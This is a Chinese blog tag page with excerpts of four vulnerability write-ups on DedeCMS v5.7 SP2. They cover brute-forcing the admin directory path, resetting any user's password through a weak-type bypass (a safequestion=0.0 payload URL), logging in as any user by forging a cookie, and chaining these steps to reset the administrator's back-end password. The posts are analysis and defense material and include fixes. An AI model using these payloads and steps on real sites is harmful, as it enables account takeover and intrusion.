Tag:dedecms

Tag (dedecms)'s result:

dedecms利用通配符找后台目录及其防御方案

0x00 概述 最近dedecms狂爆漏洞,但是找后台一直是个难点,如果不是默认后台或者字典不够强大,基本上就gg了,但是先知出了篇可以爆破dedecms后台的帖子,看了下是个好方法,本文依据此贴对此方法进行分析,并总结出针对此方法的防御方案。 方法来源:https://xianzhi.aliyun.com/forum/topic/2064   0x01 测试环境 dedecms v5.7 sp2 phpstudy win7   0x02 原理 根据先知帖子的分析,有两个文件 \include\common.inc.php include\uploadsafe.inc.php 先看看\include\common.inc.php:148 if($_FILES) { require_once(DEDEINC.’/uploadsafe.inc.php’); } 引入了uploadsafe.inc.php 再看到include\uploadsafe.inc.php: <?php if(!defined(‘DEDEINC’)) exit(‘Request Error!’); if(isset($_FILES[‘GLOBALS’])) exit(‘Request not allow!’); //为了防止用户通过注入的可能性改动了数据库 //这里强制限定的某些文件类型禁止上传 $cfg_not_allowall = “php|pl|cgi|asp|aspx|jsp|php3|shtm|shtml”; $keyarr = array(‘name’, ‘type’, ‘tmp_name’, ‘size’); if ($GLOBALS[‘cfg_html_editor’]==’ckeditor’ && isset($_FILES[‘upload’])) { $_FILES[‘imgfile’] = $_FILES[‘upload’]; $CKUpload = TRUE; unset($_FILES[‘upload’]); } foreach($_FILES as $_key=>$_value) { foreach($keyarr as $k) { if(!isset($_FILES[$_key][$k])) { exit(‘Request Error!’); } } if( preg_match(‘#^(cfg_|GLOBALS)#’, $_key) ) { exit(‘Request var not allow for uploadsafe!’); } $$_key = $_FILES[$_key][‘tmp_name’]; ${$_key.’_name’} = $_FILES[$_key][‘name’]; ${$_key.’_type’} = $_FILES[$_key][‘type’] = preg_replace(‘#[^0-9a-z\./]#i’, ”, $_FILES[$_key][‘type’]); ${$_key.’_size’} = $_FILES[$_key][‘size’] = preg_replace(‘#[^0-9]#’,”,$_FILES[$_key][‘size’]); if(!empty(${$_key.’_name’}) && (preg_match(“#\.(“.$cfg_not_allowall.”)$#i”,${$_key.’_name’}) || !preg_match(“#\.#”, ${$_key.’_name’})) ) { if(!defined(‘DEDEADMIN’)) { exit(‘Not Admin Upload filetype not allow !’); } } if(empty(${$_key.’_size’})) { ${$_key.’_size’} = @filesize($$_key); } $imtypes = array ( “image/pjpeg”, “image/jpeg”, “image/gif”, “image/png”, “image/xpng”, “image/wbmp”, “image/bmp” ); if(in_array(strtolower(trim(${$_key.’_type’})), $imtypes)) { $image_dd = @getimagesize($$_key); if (!is_array($image_dd)) { exit(‘Upload filetype not allow !’); } } } ?> 问题出现在 if(in_array(strtolower(trim(${$_key.’_type’})), $imtypes)) { $image_dd = @getimagesize($$_key); if (!is_array($image_dd)) { exit(‘Upload filetype not allow !’);……

组合拳:dedecms重置管理员后台密码

0x00 概述 2018年1月,网上爆出dedecms v5.7 sp2的前台任意用户密码重置和前台任意用户登录漏洞,加上一个管理员前台可修改其后台密码的安全问题,形成漏洞利用链,这招组合拳可以重置管理员后台密码。 先来看看整体利用流程: 重置admin前台密码—>用admin登录前台—>重置admin前后台密码   0x01 漏洞链重现及分析 首先修改管理员前台密码,参考dedecms v5.7 sp2前台任意用户密码重置漏洞重现及分析,重置管理员前台密码为test123 再利用dedecms v5.7 sp2前台任意用户登录漏洞以管理员身份登录前台, 最后重置管理员密码,这里可以修改前台(member)和后台(admin)密码,原登录密码就是刚刚重置的前台密码test123,修改新密码为010101,成功登录管理后台! 看看出问题的文件 member\edit_baseinfo.php:115 关键代码: $query1 = “UPDATE `#@__member` SET pwd=’$pwd’,sex=’$sex'{$addupquery} where mid='”.$cfg_ml->M_ID.”‘ “; $dsql->ExecuteNoneQuery($query1); //如果是管理员,修改其后台密码 if($cfg_ml->fields[‘matt’]==10 && $pwd2!=””) { $query2 = “UPDATE `#@__admin` SET pwd=’$pwd2′ where id='”.$cfg_ml->M_ID.”‘ “; $dsql->ExecuteNoneQuery($query2); } 这里旧密码是和member表的pwd比对,已经被利用漏洞前台重置,可以重置密码,由于是管理员,所以前台和后台密码都重置了。   0x02 修复方案 参考组合拳第一式和第二式。 将管理员后台地址改复杂。   0x03 结语 又是一次组合攻击,再一次证明,单一漏洞危害可能有限,但是多个漏洞组合起来威力将大大增强!所以不要轻视任何一个微小漏洞,也不要放过任何一个可能存在漏洞的地方。   0x04 参考资料 https://xianzhi.aliyun.com/forum/topic/1961 www.freebuf.com/column/161703.html https://xianzhi.aliyun.com/forum/topic/1959 https://blog.formsec.cn/2018/01/11/DedeCMS-password-reset/ https://lorexxar.cn/2018/01/19/dedecms-vul1/

dedecms前台任意用户登录漏洞重现及分析

0x00 概述 2018年1月,网上爆出dedecms v5.7 sp2前台任意用户登录漏洞,利用此漏洞可以让管理员登录前台,是重置管理员后台密码的组合拳中的第二式。 组合拳第一式:dedecms前台任意用户密码重置漏洞重现及分析   0x01漏洞重现 需要先将用户0000001通过审核,再访问 http://127.0.0.1:8999/lsawebtest/vulnenvs/dedecms/dedecms-v57-utf8-sp2-full/member/index.php?uid=0000001 获取cookie中last_vid_ckMd5值48741df1f12d04bd 再登录0000001帐号 然后设置DeDeUserID_ckMd5为last_vid_ckMd5的值,并设置DedeUserID为0000001。 成功以管理员登录前台   0x02修复方案 若不影响业务,可以尝试注释下面代码 member/index.php:163~164 PutCookie(‘last_vtime’, $vtime, 3600*24, ‘/’); PutCookie(‘last_vid’, $last_vid, 3600*24, ‘/’); 关注官方补丁。   0x03 漏洞分析 判断用户登录的函数在 include\memberlogin.class.php:292 function IsLogin() { if($this->M_ID > 0) return TRUE; else return FALSE; } 再到138行 class MemberLogin { var $M_ID; var $M_LoginID; var $M_MbType; var $M_Money; var $M_Scores; var $M_UserName; var $M_Rank; var $M_Face; var $M_LoginTime; var $M_KeepTime; var $M_Spacesta; var $fields; var $isAdmin; var $M_UpTime; var $M_ExpTime; var $M_HasDay; var $M_JoinTime; var $M_Honor = ”; var $memberCache=’memberlogin’; //php5构造函数 function __construct($kptime = -1, $cache=FALSE) { global $dsql; if($kptime==-1){ $this->M_KeepTime = 3600 * 24 * 7; }else{ $this->M_KeepTime = $kptime; } $formcache = FALSE; $this->M_ID = $this->GetNum(GetCookie(“DedeUserID”)); $this->M_LoginTime = GetCookie(“DedeLoginTime”); $this->fields = array(); $this->isAdmin = FALSE; if(empty($this->M_ID)) { $this->ResetUser(); }else{ $this->M_ID = intval($this->M_ID); if ($cache) { $this->fields = GetCache($this->memberCache, $this->M_ID); if( empty($this->fields) ) { $this->fields = $dsql->GetOne(“Select * From `#@__member` where mid='{$this->M_ID}’ “); } else { $formcache = TRUE; } } else { $this->fields = $dsql->GetOne(“Select * From `#@__member` where mid='{$this->M_ID}’ “); } 可以看到 $this->M_ID = $this->GetNum(GetCookie(“DedeUserID”)); 在看看GetNum函数,在398行 function GetNum($fnum){ $fnum……

dedecms前台任意用户密码重置漏洞重现及分析

0x00 概述 2018年1月,网上爆出dedecms v5.7 sp2(最新版)前台任意用户密码重置漏洞,下文将对此进行重现及分析。   0x01 影响范围 20180109及其之前的版本   0x02 漏洞重现 //经测试无法修改admin用户的后台密码,只能修改到admin前台密码,所以这里测试修改id=2的lsa用户。 访问payload 192.168.43.173:8999/lsawebtest/vulnenvs/dedecms/dedecms-v57-utf8-sp2-full/member/resetpassword.php?dopost=safequestion&safequestion=0.0&safeanwser=&id=2 看看数据库 再访问 http://127.0.0.1:8999/lsawebtest/vulnenvs/dedecms/dedecms-v57-utf8-sp2-full/member/resetpassword.php?dopost=getpasswd&id=2&key=Gv9AqDyf 即可到达重置密码页面 可以成功重置lsa的密码。   0x03 修复方案 关闭会员功能。 关注官方更新。   0x04 漏洞分析 漏洞文件:member\resetpassword.php:75 else if($dopost == “safequestion”) { $mid = preg_replace(“#[^0-9]#”, “”, $id); $sql = “SELECT safequestion,safeanswer,userid,email FROM #@__member WHERE mid = ‘$mid'”; $row = $db->GetOne($sql); if(empty($safequestion)) $safequestion = ”; if(empty($safeanswer)) $safeanswer = ”; if($row[‘safequestion’] == $safequestion && $row[‘safeanswer’] == $safeanswer) { sn($mid, $row[‘userid’], $row[’email’], ‘N’); exit(); } else { ShowMsg(“对不起,您的安全问题或答案回答错误”,”-1″); exit(); } } 可以看到要进入sn函数,必须满足 ($row[‘safequestion’] == $safequestion && $row[‘safeanswer’] == $safeanswer) 通过查询数据库可知 row[‘safeanswer’]=空,$row[‘safequestion’]=0 所以传入的payload中$safeanswer为空符合条件,而如果$safequestion传入0,则遇到 if(empty($safequestion)) $safequestion = ”; 就置空了,继而空和0不等无法进入sn函数。 所以这里可以运用php的弱类型,参考http://www.lsablog.com/network_security/ctf/hackinglab-cn-series-decryption-can-md5-be-bumped/ 将$safequestion传入0.0即可绕过判断 继续跟进sn函数 \member\inc\inc_pwd_functions.php:150 function sn($mid,$userid,$mailto, $send = ‘Y’) { global $db; $tptim= (60*10); $dtime = time(); $sql = “SELECT * FROM #@__pwd_tmp WHERE mid = ‘$mid'”; $row = $db->GetOne($sql); if(!is_array($row)) { //发送新邮件; newmail($mid,$userid,$mailto,’INSERT’,$send); } //10分钟后可以再次发送新验证码; elseif($dtime – $tptim > $row[‘mailtime’]) { newmail($mid,$userid,$mailto,’UPDATE’,$send); } //重新发送新的验证码确认邮件; else { return ShowMsg(‘对不起,请10分钟后再重新申请’, ‘login.php’); } } 先看看dede_pwd_tmp表 为空 所以执行 newmail($mid,$userid,$mailto,’INSERT’,$send); 继续跟进newmail函数,在73行 关键代码: function newmail($mid, $userid, $mailto, $type, $send) { global $db,$cfg_adminemail,$cfg_webname,$cfg_basehost,$cfg_memberurl; $mailtime = time(); $randval = random(8); $mailtitle = $cfg_webname.”:密码修改”; $mailto = $mailto; $headers = “From: “.$cfg_adminemail.”\r\nReply-To: $cfg_adminemail”; $mailbody = “亲爱的”.$userid.”:\r\n您好!感谢您使用”.$cfg_webname.”网。\r\n”.$cfg_webname.”应您的要求,重新设置密码:(注:如果您没有提出申请,请检查您的信息是否泄漏。)\r\n本次临时登陆密码为:”.$randval.” 请于三天内登陆下面网址确认修改。\r\n”.$cfg_basehost.$cfg_memberurl.”/resetpassword.php?dopost=getpasswd&id=”.$mid; if($type ==……